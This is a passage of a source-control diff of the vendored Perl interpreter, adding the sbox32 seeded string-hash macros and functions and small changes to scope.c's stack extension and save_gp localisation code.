+#define case_71_SBOX32(hash,state,key) _SBOX32_CASE(71,hash,state,key)
+#else
+#define case_71_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 70
+#define case_70_SBOX32(hash,state,key) _SBOX32_CASE(70,hash,state,key)
+#else
+#define case_70_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 69
+#define case_69_SBOX32(hash,state,key) _SBOX32_CASE(69,hash,state,key)
+#else
+#define case_69_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 68
+#define case_68_SBOX32(hash,state,key) _SBOX32_CASE(68,hash,state,key)
+#else
+#define case_68_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 67
+#define case_67_SBOX32(hash,state,key) _SBOX32_CASE(67,hash,state,key)
+#else
+#define case_67_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 66
+#define case_66_SBOX32(hash,state,key) _SBOX32_CASE(66,hash,state,key)
+#else
+#define case_66_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 65
+#define case_65_SBOX32(hash,state,key) _SBOX32_CASE(65,hash,state,key)
+#else
+#define case_65_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 64
+#define case_64_SBOX32(hash,state,key) _SBOX32_CASE(64,hash,state,key)
+#else
+#define case_64_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 63
+#define case_63_SBOX32(hash,state,key) _SBOX32_CASE(63,hash,state,key)
+#else
+#define case_63_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 62
+#define case_62_SBOX32(hash,state,key) _SBOX32_CASE(62,hash,state,key)
+#else
+#define case_62_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 61
+#define case_61_SBOX32(hash,state,key) _SBOX32_CASE(61,hash,state,key)
+#else
+#define case_61_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 60
+#define case_60_SBOX32(hash,state,key) _SBOX32_CASE(60,hash,state,key)
+#else
+#define case_60_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 59
+#define case_59_SBOX32(hash,state,key) _SBOX32_CASE(59,hash,state,key)
+#else
+#define case_59_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 58
+#define case_58_SBOX32(hash,state,key) _SBOX32_CASE(58,hash,state,key)
+#else
+#define case_58_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 57
+#define case_57_SBOX32(hash,state,key) _SBOX32_CASE(57,hash,state,key)
+#else
+#define case_57_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 56
+#define case_56_SBOX32(hash,state,key) _SBOX32_CASE(56,hash,state,key)
+#else
+#define case_56_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 55
+#define case_55_SBOX32(hash,state,key) _SBOX32_CASE(55,hash,state,key)
+#else
+#define case_55_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 54
+#define case_54_SBOX32(hash,state,key) _SBOX32_CASE(54,hash,state,key)
+#else
+#define case_54_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 53
+#define case_53_SBOX32(hash,state,key) _SBOX32_CASE(53,hash,state,key)
+#else
+#define case_53_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 52
+#define case_52_SBOX32(hash,state,key) _SBOX32_CASE(52,hash,state,key)
+#else
+#define case_52_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 51
+#define case_51_SBOX32(hash,state,key) _SBOX32_CASE(51,hash,state,key)
+#else
+#define case_51_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 50
+#define case_50_SBOX32(hash,state,key) _SBOX32_CASE(50,hash,state,key)
+#else
+#define case_50_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 49
+#define case_49_SBOX32(hash,state,key) _SBOX32_CASE(49,hash,state,key)
+#else
+#define case_49_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 48
+#define case_48_SBOX32(hash,state,key) _SBOX32_CASE(48,hash,state,key)
+#else
+#define case_48_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 47
+#define case_47_SBOX32(hash,state,key) _SBOX32_CASE(47,hash,state,key)
+#else
+#define case_47_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 46
+#define case_46_SBOX32(hash,state,key) _SBOX32_CASE(46,hash,state,key)
+#else
+#define case_46_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 45
+#define case_45_SBOX32(hash,state,key) _SBOX32_CASE(45,hash,state,key)
+#else
+#define case_45_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 44
+#define case_44_SBOX32(hash,state,key) _SBOX32_CASE(44,hash,state,key)
+#else
+#define case_44_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 43
+#define case_43_SBOX32(hash,state,key) _SBOX32_CASE(43,hash,state,key)
+#else
+#define case_43_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 42
+#define case_42_SBOX32(hash,state,key) _SBOX32_CASE(42,hash,state,key)
+#else
+#define case_42_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 41
+#define case_41_SBOX32(hash,state,key) _SBOX32_CASE(41,hash,state,key)
+#else
+#define case_41_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 40
+#define case_40_SBOX32(hash,state,key) _SBOX32_CASE(40,hash,state,key)
+#else
+#define case_40_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 39
+#define case_39_SBOX32(hash,state,key) _SBOX32_CASE(39,hash,state,key)
+#else
+#define case_39_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 38
+#define case_38_SBOX32(hash,state,key) _SBOX32_CASE(38,hash,state,key)
+#else
+#define case_38_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 37
+#define case_37_SBOX32(hash,state,key) _SBOX32_CASE(37,hash,state,key)
+#else
+#define case_37_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 36
+#define case_36_SBOX32(hash,state,key) _SBOX32_CASE(36,hash,state,key)
+#else
+#define case_36_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 35
+#define case_35_SBOX32(hash,state,key) _SBOX32_CASE(35,hash,state,key)
+#else
+#define case_35_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 34
+#define case_34_SBOX32(hash,state,key) _SBOX32_CASE(34,hash,state,key)
+#else
+#define case_34_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 33
+#define case_33_SBOX32(hash,state,key) _SBOX32_CASE(33,hash,state,key)
+#else
+#define case_33_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 32
+#define case_32_SBOX32(hash,state,key) _SBOX32_CASE(32,hash,state,key)
+#else
+#define case_32_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 31
+#define case_31_SBOX32(hash,state,key) _SBOX32_CASE(31,hash,state,key)
+#else
+#define case_31_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 30
+#define case_30_SBOX32(hash,state,key) _SBOX32_CASE(30,hash,state,key)
+#else
+#define case_30_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 29
+#define case_29_SBOX32(hash,state,key) _SBOX32_CASE(29,hash,state,key)
+#else
+#define case_29_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 28
+#define case_28_SBOX32(hash,state,key) _SBOX32_CASE(28,hash,state,key)
+#else
+#define case_28_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 27
+#define case_27_SBOX32(hash,state,key) _SBOX32_CASE(27,hash,state,key)
+#else
+#define case_27_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 26
+#define case_26_SBOX32(hash,state,key) _SBOX32_CASE(26,hash,state,key)
+#else
+#define case_26_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 25
+#define case_25_SBOX32(hash,state,key) _SBOX32_CASE(25,hash,state,key)
+#else
+#define case_25_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 24
+#define case_24_SBOX32(hash,state,key) _SBOX32_CASE(24,hash,state,key)
+#else
+#define case_24_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 23
+#define case_23_SBOX32(hash,state,key) _SBOX32_CASE(23,hash,state,key)
+#else
+#define case_23_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 22
+#define case_22_SBOX32(hash,state,key) _SBOX32_CASE(22,hash,state,key)
+#else
+#define case_22_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 21
+#define case_21_SBOX32(hash,state,key) _SBOX32_CASE(21,hash,state,key)
+#else
+#define case_21_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 20
+#define case_20_SBOX32(hash,state,key) _SBOX32_CASE(20,hash,state,key)
+#else
+#define case_20_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 19
+#define case_19_SBOX32(hash,state,key) _SBOX32_CASE(19,hash,state,key)
+#else
+#define case_19_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 18
+#define case_18_SBOX32(hash,state,key) _SBOX32_CASE(18,hash,state,key)
+#else
+#define case_18_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 17
+#define case_17_SBOX32(hash,state,key) _SBOX32_CASE(17,hash,state,key)
+#else
+#define case_17_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 16
+#define case_16_SBOX32(hash,state,key) _SBOX32_CASE(16,hash,state,key)
+#else
+#define case_16_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 15
+#define case_15_SBOX32(hash,state,key) _SBOX32_CASE(15,hash,state,key)
+#else
+#define case_15_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 14
+#define case_14_SBOX32(hash,state,key) _SBOX32_CASE(14,hash,state,key)
+#else
+#define case_14_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 13
+#define case_13_SBOX32(hash,state,key) _SBOX32_CASE(13,hash,state,key)
+#else
+#define case_13_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 12
+#define case_12_SBOX32(hash,state,key) _SBOX32_CASE(12,hash,state,key)
+#else
+#define case_12_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 11
+#define case_11_SBOX32(hash,state,key) _SBOX32_CASE(11,hash,state,key)
+#else
+#define case_11_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 10
+#define case_10_SBOX32(hash,state,key) _SBOX32_CASE(10,hash,state,key)
+#else
+#define case_10_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 9
+#define case_9_SBOX32(hash,state,key) _SBOX32_CASE(9,hash,state,key)
+#else
+#define case_9_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 8
+#define case_8_SBOX32(hash,state,key) _SBOX32_CASE(8,hash,state,key)
+#else
+#define case_8_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 7
+#define case_7_SBOX32(hash,state,key) _SBOX32_CASE(7,hash,state,key)
+#else
+#define case_7_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 6
+#define case_6_SBOX32(hash,state,key) _SBOX32_CASE(6,hash,state,key)
+#else
+#define case_6_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 5
+#define case_5_SBOX32(hash,state,key) _SBOX32_CASE(5,hash,state,key)
+#else
+#define case_5_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 4
+#define case_4_SBOX32(hash,state,key) _SBOX32_CASE(4,hash,state,key)
+#else
+#define case_4_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 3
+#define case_3_SBOX32(hash,state,key) _SBOX32_CASE(3,hash,state,key)
+#else
+#define case_3_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 2
+#define case_2_SBOX32(hash,state,key) _SBOX32_CASE(2,hash,state,key)
+#else
+#define case_2_SBOX32(hash,state,key) /**/
+#endif
+#if SBOX32_MAX_LEN >= 1
+#define case_1_SBOX32(hash,state,key) _SBOX32_CASE(1,hash,state,key)
+#else
+#define case_1_SBOX32(hash,state,key) /**/
+#endif
+
+#define XORSHIFT96_set(r,x,y,z,t) STMT_START {          \
+    t = (x ^ ( x << 10 ) );                             \
+    x = y; y = z;                                       \
+    r = z = (z ^ ( z >> 26 ) ) ^ ( t ^ ( t >> 5 ) );    \
+} STMT_END
+
+#define XORSHIFT128_set(r,x,y,z,w,t) STMT_START {       \
+    t = ( x ^ ( x << 5 ) );                             \
+    x = y; y = z; z = w;                                \
+    r = w = ( w ^ ( w >> 29 ) ) ^ ( t ^ ( t >> 12 ) );  \
+} STMT_END
+
+#define SBOX32_SCRAMBLE32(v,prime) STMT_START {  \
+    v ^= (v>>9);                        \
+    v ^= (v<<21);                       \
+    v ^= (v>>16);                       \
+    v *= prime;                         \
+    v ^= (v>>17);                       \
+    v ^= (v<<15);                       \
+    v ^= (v>>23);                       \
+} STMT_END
+
+#ifndef SBOX32_CHURN_ROUNDS 
+#define SBOX32_CHURN_ROUNDS 5
+#endif
+#ifndef SBOX32_SKIP_MASK
+#define SBOX32_SKIP_MASK 0x3
+#endif
+
+#define _SBOX32_CASE(len,hash,state,key) \
+    /* FALLTHROUGH */ \
+    case len: hash ^= state[ 1 + ( 256 * ( len - 1 ) ) + key[ len - 1 ] ];
+
+
+SBOX32_STATIC_INLINE void sbox32_seed_state96 (
+    const U8 *seed_ch,
+    U8 *state_ch
+) {
+    const U32 *seed= (const U32 *)seed_ch;
+    U32 *state= (U32 *)state_ch;
+    U32 *state_cursor = state + 1;
+    U32 *sbox32_end = state + 1 + (256 * SBOX32_MAX_LEN);
+    U32 s0 = seed[0] ^ 0x68736168; /* sbox */
+    U32 s1 = seed[1] ^ 0x786f6273; /* hash */
+    U32 s2 = seed[2] ^ 0x646f6f67; /* good */
+    U32 t1,t2,i;
+
+    /* make sure we have all non-zero state elements */
+    if (!s0) s0 = 1;
+    if (!s1) s1 = 2;
+    if (!s2) s2 = 4;
+
+    /* Do a bunch of mix rounds to avalanche the seedbits
+     * before we use them for the XORSHIFT rng. */
+    for ( i = 0; i < SBOX32_CHURN_ROUNDS; i++ )
+        SBOX32_MIX3(s0,s1,s2,"SEED STATE");
+
+    while ( state_cursor < sbox32_end ) {
+        U32 *row_end = state_cursor + 256; 
+        for ( ; state_cursor < row_end; state_cursor++ ) {
+            XORSHIFT96_set(*state_cursor,s0,s1,s2,t1);
+        }
+    }
+    XORSHIFT96_set(*state,s0,s1,s2,t2);
+}
+
+SBOX32_STATIC_INLINE void sbox32_seed_state128 (
+    const U8 *seed_ch,
+    U8 *state_ch
+) {
+    U32 *seed= (U32 *)seed_ch;
+    U32 *state= (U32 *)state_ch;
+    U32 *state_cursor = state + 1;
+    U32 *sbox32_end = state + 1 + (256 * SBOX32_MAX_LEN);
+    U32 s0 = seed[0] ^ 0x68736168; /* sbox */
+    U32 s1 = seed[1] ^ 0x786f6273; /* hash */
+    U32 s2 = seed[2] ^ 0x646f6f67; /* good */
+    U32 s3 = seed[3] ^ 0x74736166; /* fast */
+    U32 t1,t2,i;
+
+    /* make sure we have all non-zero state elements */
+    if (!s0) s0 = 1;
+    if (!s1) s1 = 2;
+    if (!s2) s2 = 4;
+    if (!s3) s3 = 8;
+    
+    /* Do a bunch of mix rounds to avalanche the seedbits
+     * before we use them for the XORSHIFT rng. */
+    for ( i = 0; i < SBOX32_CHURN_ROUNDS; i++ )
+        SBOX32_MIX4(s0,s1,s2,s3,"SEED STATE");
+
+    while ( state_cursor < sbox32_end ) {
+        U32 *row_end = state_cursor + 256; 
+        for ( ; state_cursor < row_end; state_cursor++ ) {
+            XORSHIFT128_set(*state_cursor,s0,s1,s2,s3,t1);
+        }
+    }
+    XORSHIFT128_set(*state,s0,s1,s2,s3,t2);
+}
+
+SBOX32_STATIC_INLINE U32 sbox32_hash_with_state(
+    const U8 *state_ch,
+    const U8 *key,
+    const STRLEN key_len
+) {
+    U32 *state= (U32 *)state_ch;
+    U32 hash = *state;
+    switch (key_len) {
+        default: return zaphod32_hash_with_state(state_ch, key, key_len);
+        case_256_SBOX32(hash,state,key)
+        case_255_SBOX32(hash,state,key)
+        case_254_SBOX32(hash,state,key)
+        case_253_SBOX32(hash,state,key)
+        case_252_SBOX32(hash,state,key)
+        case_251_SBOX32(hash,state,key)
+        case_250_SBOX32(hash,state,key)
+        case_249_SBOX32(hash,state,key)
+        case_248_SBOX32(hash,state,key)
+        case_247_SBOX32(hash,state,key)
+        case_246_SBOX32(hash,state,key)
+        case_245_SBOX32(hash,state,key)
+        case_244_SBOX32(hash,state,key)
+        case_243_SBOX32(hash,state,key)
+        case_242_SBOX32(hash,state,key)
+        case_241_SBOX32(hash,state,key)
+        case_240_SBOX32(hash,state,key)
+        case_239_SBOX32(hash,state,key)
+        case_238_SBOX32(hash,state,key)
+        case_237_SBOX32(hash,state,key)
+        case_236_SBOX32(hash,state,key)
+        case_235_SBOX32(hash,state,key)
+        case_234_SBOX32(hash,state,key)
+        case_233_SBOX32(hash,state,key)
+        case_232_SBOX32(hash,state,key)
+        case_231_SBOX32(hash,state,key)
+        case_230_SBOX32(hash,state,key)
+        case_229_SBOX32(hash,state,key)
+        case_228_SBOX32(hash,state,key)
+        case_227_SBOX32(hash,state,key)
+        case_226_SBOX32(hash,state,key)
+        case_225_SBOX32(hash,state,key)
+        case_224_SBOX32(hash,state,key)
+        case_223_SBOX32(hash,state,key)
+        case_222_SBOX32(hash,state,key)
+        case_221_SBOX32(hash,state,key)
+        case_220_SBOX32(hash,state,key)
+        case_219_SBOX32(hash,state,key)
+        case_218_SBOX32(hash,state,key)
+        case_217_SBOX32(hash,state,key)
+        case_216_SBOX32(hash,state,key)
+        case_215_SBOX32(hash,state,key)
+        case_214_SBOX32(hash,state,key)
+        case_213_SBOX32(hash,state,key)
+        case_212_SBOX32(hash,state,key)
+        case_211_SBOX32(hash,state,key)
+        case_210_SBOX32(hash,state,key)
+        case_209_SBOX32(hash,state,key)
+        case_208_SBOX32(hash,state,key)
+        case_207_SBOX32(hash,state,key)
+        case_206_SBOX32(hash,state,key)
+        case_205_SBOX32(hash,state,key)
+        case_204_SBOX32(hash,state,key)
+        case_203_SBOX32(hash,state,key)
+        case_202_SBOX32(hash,state,key)
+        case_201_SBOX32(hash,state,key)
+        case_200_SBOX32(hash,state,key)
+        case_199_SBOX32(hash,state,key)
+        case_198_SBOX32(hash,state,key)
+        case_197_SBOX32(hash,state,key)
+        case_196_SBOX32(hash,state,key)
+        case_195_SBOX32(hash,state,key)
+        case_194_SBOX32(hash,state,key)
+        case_193_SBOX32(hash,state,key)
+        case_192_SBOX32(hash,state,key)
+        case_191_SBOX32(hash,state,key)
+        case_190_SBOX32(hash,state,key)
+        case_189_SBOX32(hash,state,key)
+        case_188_SBOX32(hash,state,key)
+        case_187_SBOX32(hash,state,key)
+        case_186_SBOX32(hash,state,key)
+        case_185_SBOX32(hash,state,key)
+        case_184_SBOX32(hash,state,key)
+        case_183_SBOX32(hash,state,key)
+        case_182_SBOX32(hash,state,key)
+        case_181_SBOX32(hash,state,key)
+        case_180_SBOX32(hash,state,key)
+        case_179_SBOX32(hash,state,key)
+        case_178_SBOX32(hash,state,key)
+        case_177_SBOX32(hash,state,key)
+        case_176_SBOX32(hash,state,key)
+        case_175_SBOX32(hash,state,key)
+        case_174_SBOX32(hash,state,key)
+        case_173_SBOX32(hash,state,key)
+        case_172_SBOX32(hash,state,key)
+        case_171_SBOX32(hash,state,key)
+        case_170_SBOX32(hash,state,key)
+        case_169_SBOX32(hash,state,key)
+        case_168_SBOX32(hash,state,key)
+        case_167_SBOX32(hash,state,key)
+        case_166_SBOX32(hash,state,key)
+        case_165_SBOX32(hash,state,key)
+        case_164_SBOX32(hash,state,key)
+        case_163_SBOX32(hash,state,key)
+        case_162_SBOX32(hash,state,key)
+        case_161_SBOX32(hash,state,key)
+        case_160_SBOX32(hash,state,key)
+        case_159_SBOX32(hash,state,key)
+        case_158_SBOX32(hash,state,key)
+        case_157_SBOX32(hash,state,key)
+        case_156_SBOX32(hash,state,key)
+        case_155_SBOX32(hash,state,key)
+        case_154_SBOX32(hash,state,key)
+        case_153_SBOX32(hash,state,key)
+        case_152_SBOX32(hash,state,key)
+        case_151_SBOX32(hash,state,key)
+        case_150_SBOX32(hash,state,key)
+        case_149_SBOX32(hash,state,key)
+        case_148_SBOX32(hash,state,key)
+        case_147_SBOX32(hash,state,key)
+        case_146_SBOX32(hash,state,key)
+        case_145_SBOX32(hash,state,key)
+        case_144_SBOX32(hash,state,key)
+        case_143_SBOX32(hash,state,key)
+        case_142_SBOX32(hash,state,key)
+        case_141_SBOX32(hash,state,key)
+        case_140_SBOX32(hash,state,key)
+        case_139_SBOX32(hash,state,key)
+        case_138_SBOX32(hash,state,key)
+        case_137_SBOX32(hash,state,key)
+        case_136_SBOX32(hash,state,key)
+        case_135_SBOX32(hash,state,key)
+        case_134_SBOX32(hash,state,key)
+        case_133_SBOX32(hash,state,key)
+        case_132_SBOX32(hash,state,key)
+        case_131_SBOX32(hash,state,key)
+        case_130_SBOX32(hash,state,key)
+        case_129_SBOX32(hash,state,key)
+        case_128_SBOX32(hash,state,key)
+        case_127_SBOX32(hash,state,key)
+        case_126_SBOX32(hash,state,key)
+        case_125_SBOX32(hash,state,key)
+        case_124_SBOX32(hash,state,key)
+        case_123_SBOX32(hash,state,key)
+        case_122_SBOX32(hash,state,key)
+        case_121_SBOX32(hash,state,key)
+        case_120_SBOX32(hash,state,key)
+        case_119_SBOX32(hash,state,key)
+        case_118_SBOX32(hash,state,key)
+        case_117_SBOX32(hash,state,key)
+        case_116_SBOX32(hash,state,key)
+        case_115_SBOX32(hash,state,key)
+        case_114_SBOX32(hash,state,key)
+        case_113_SBOX32(hash,state,key)
+        case_112_SBOX32(hash,state,key)
+        case_111_SBOX32(hash,state,key)
+        case_110_SBOX32(hash,state,key)
+        case_109_SBOX32(hash,state,key)
+        case_108_SBOX32(hash,state,key)
+        case_107_SBOX32(hash,state,key)
+        case_106_SBOX32(hash,state,key)
+        case_105_SBOX32(hash,state,key)
+        case_104_SBOX32(hash,state,key)
+        case_103_SBOX32(hash,state,key)
+        case_102_SBOX32(hash,state,key)
+        case_101_SBOX32(hash,state,key)
+        case_100_SBOX32(hash,state,key)
+        case_99_SBOX32(hash,state,key)
+        case_98_SBOX32(hash,state,key)
+        case_97_SBOX32(hash,state,key)
+        case_96_SBOX32(hash,state,key)
+        case_95_SBOX32(hash,state,key)
+        case_94_SBOX32(hash,state,key)
+        case_93_SBOX32(hash,state,key)
+        case_92_SBOX32(hash,state,key)
+        case_91_SBOX32(hash,state,key)
+        case_90_SBOX32(hash,state,key)
+        case_89_SBOX32(hash,state,key)
+        case_88_SBOX32(hash,state,key)
+        case_87_SBOX32(hash,state,key)
+        case_86_SBOX32(hash,state,key)
+        case_85_SBOX32(hash,state,key)
+        case_84_SBOX32(hash,state,key)
+        case_83_SBOX32(hash,state,key)
+        case_82_SBOX32(hash,state,key)
+        case_81_SBOX32(hash,state,key)
+        case_80_SBOX32(hash,state,key)
+        case_79_SBOX32(hash,state,key)
+        case_78_SBOX32(hash,state,key)
+        case_77_SBOX32(hash,state,key)
+        case_76_SBOX32(hash,state,key)
+        case_75_SBOX32(hash,state,key)
+        case_74_SBOX32(hash,state,key)
+        case_73_SBOX32(hash,state,key)
+        case_72_SBOX32(hash,state,key)
+        case_71_SBOX32(hash,state,key)
+        case_70_SBOX32(hash,state,key)
+        case_69_SBOX32(hash,state,key)
+        case_68_SBOX32(hash,state,key)
+        case_67_SBOX32(hash,state,key)
+        case_66_SBOX32(hash,state,key)
+        case_65_SBOX32(hash,state,key)
+        case_64_SBOX32(hash,state,key)
+        case_63_SBOX32(hash,state,key)
+        case_62_SBOX32(hash,state,key)
+        case_61_SBOX32(hash,state,key)
+        case_60_SBOX32(hash,state,key)
+        case_59_SBOX32(hash,state,key)
+        case_58_SBOX32(hash,state,key)
+        case_57_SBOX32(hash,state,key)
+        case_56_SBOX32(hash,state,key)
+        case_55_SBOX32(hash,state,key)
+        case_54_SBOX32(hash,state,key)
+        case_53_SBOX32(hash,state,key)
+        case_52_SBOX32(hash,state,key)
+        case_51_SBOX32(hash,state,key)
+        case_50_SBOX32(hash,state,key)
+        case_49_SBOX32(hash,state,key)
+        case_48_SBOX32(hash,state,key)
+        case_47_SBOX32(hash,state,key)
+        case_46_SBOX32(hash,state,key)
+        case_45_SBOX32(hash,state,key)
+        case_44_SBOX32(hash,state,key)
+        case_43_SBOX32(hash,state,key)
+        case_42_SBOX32(hash,state,key)
+        case_41_SBOX32(hash,state,key)
+        case_40_SBOX32(hash,state,key)
+        case_39_SBOX32(hash,state,key)
+        case_38_SBOX32(hash,state,key)
+        case_37_SBOX32(hash,state,key)
+        case_36_SBOX32(hash,state,key)
+        case_35_SBOX32(hash,state,key)
+        case_34_SBOX32(hash,state,key)
+        case_33_SBOX32(hash,state,key)
+        case_32_SBOX32(hash,state,key)
+        case_31_SBOX32(hash,state,key)
+        case_30_SBOX32(hash,state,key)
+        case_29_SBOX32(hash,state,key)
+        case_28_SBOX32(hash,state,key)
+        case_27_SBOX32(hash,state,key)
+        case_26_SBOX32(hash,state,key)
+        case_25_SBOX32(hash,state,key)
+        case_24_SBOX32(hash,state,key)
+        case_23_SBOX32(hash,state,key)
+        case_22_SBOX32(hash,state,key)
+        case_21_SBOX32(hash,state,key)
+        case_20_SBOX32(hash,state,key)
+        case_19_SBOX32(hash,state,key)
+        case_18_SBOX32(hash,state,key)
+        case_17_SBOX32(hash,state,key)
+        case_16_SBOX32(hash,state,key)
+        case_15_SBOX32(hash,state,key)
+        case_14_SBOX32(hash,state,key)
+        case_13_SBOX32(hash,state,key)
+        case_12_SBOX32(hash,state,key)
+        case_11_SBOX32(hash,state,key)
+        case_10_SBOX32(hash,state,key)
+        case_9_SBOX32(hash,state,key)
+        case_8_SBOX32(hash,state,key)
+        case_7_SBOX32(hash,state,key)
+        case_6_SBOX32(hash,state,key)
+        case_5_SBOX32(hash,state,key)
+        case_4_SBOX32(hash,state,key)
+        case_3_SBOX32(hash,state,key)
+        case_2_SBOX32(hash,state,key)
+        case_1_SBOX32(hash,state,key)
+        case 0: break;
+    }
+    return hash;
+}
+
+SBOX32_STATIC_INLINE U32 sbox32_hash96(
+    const U8 *seed_ch,
+    const U8 *key,
+    const STRLEN key_len
+) {
+    U32 state[SBOX32_STATE_WORDS];
+    sbox32_seed_state96(seed_ch,(U8*)state);
+    return sbox32_hash_with_state((U8*)state,key,key_len);
+}
+
+SBOX32_STATIC_INLINE U32 sbox32_hash128(
+    const U8 *seed_ch,
+    const U8 *key,
+    const STRLEN key_len
+) {
+    U32 state[SBOX32_STATE_WORDS];
+    sbox32_seed_state128(seed_ch,(U8*)state);
+    return sbox32_hash_with_state((U8*)state,key,key_len);
+}
+
+#endif

Modified: vendor/perl/dist/scope.c
===================================================================
--- vendor/perl/dist/scope.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/scope.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -55,6 +55,10 @@
         Perl_croak(aTHX_ "Out of memory during stack extend");
 
     av_extend(PL_curstack, current + n + extra);
+#ifdef DEBUGGING
+        PL_curstackinfo->si_stack_hwm = current + n + extra;
+#endif
+
     return PL_stack_sp;
 }
 
@@ -326,6 +330,17 @@
 {
     PERL_ARGS_ASSERT_SAVE_GP;
 
+    /* XXX For now, we just upgrade any coderef in the stash to a full GV
+           during localisation.  Maybe at some point we could make localis-
+           ation work without needing the upgrade.  (In which case our
+           callers should probably call a different function, not save_gp.)
+     */
+    if (!isGV(gv)) {
+        assert(isGV_or_RVCV(gv));
+        (void)CvGV(SvRV((SV *)gv)); /* CvGV does the upgrade */
+        assert(isGV(gv));
+    }
+
     save_pushptrptr(SvREFCNT_inc(gv), GvGP(gv), SAVEt_GP);
 
     if (empty) {
@@ -334,7 +349,7 @@
 	bool isa_changed = 0;
 
 	if (stash && HvENAME(stash)) {
-	    if (GvNAMELEN(gv) == 3 && strnEQ(GvNAME(gv), "ISA", 3))
+	    if (memEQs(GvNAME(gv), GvNAMELEN(gv), "ISA"))
 		isa_changed = TRUE;
 	    else if (GvCVu(gv))
 		/* taking a method out of circulation ("local")*/
@@ -1076,9 +1091,7 @@
 	    gp_free(a0.any_gv);
 	    GvGP_set(a0.any_gv, (GP*)a1.any_ptr);
